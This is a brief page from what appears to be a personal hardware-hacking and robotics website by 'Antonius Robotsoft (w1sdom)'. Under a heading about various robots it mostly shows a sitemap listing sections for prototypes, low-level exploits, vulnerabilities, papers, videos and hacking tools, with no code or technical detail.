Various Robots (finished and unfinished)
ROBOTS PROTOTYPE
Various Robots (finished and unfinished)

Various Robots (finished and unfinished) - build by Antonius Robotsoft (w1sdom).

Show All

Sitemap

Home

The home of the website

Productions

Electronic gadgets, robots, hacking devices, IOT, electrical generators from Robohax, Robotsoft and Bluedragonsec.

Prototypes

Prototypes for DIY gadgets, robots and quadcopters related to security that I developed.

Exploits

My Low level exploits developed from 2001-2026

Videos

Videos about low level exploit developments, hardware hacking & prototypes.

Vulnerabilities

Security vulnerabilities that I have discovered

Papers

Papers related to hardware hacking and low level exploitation.

Blog

Mostly about hardware hacking and low level exploitation.

About

About my website

c0d3s

Hacking tools, rootkits and open source projects that I developed

links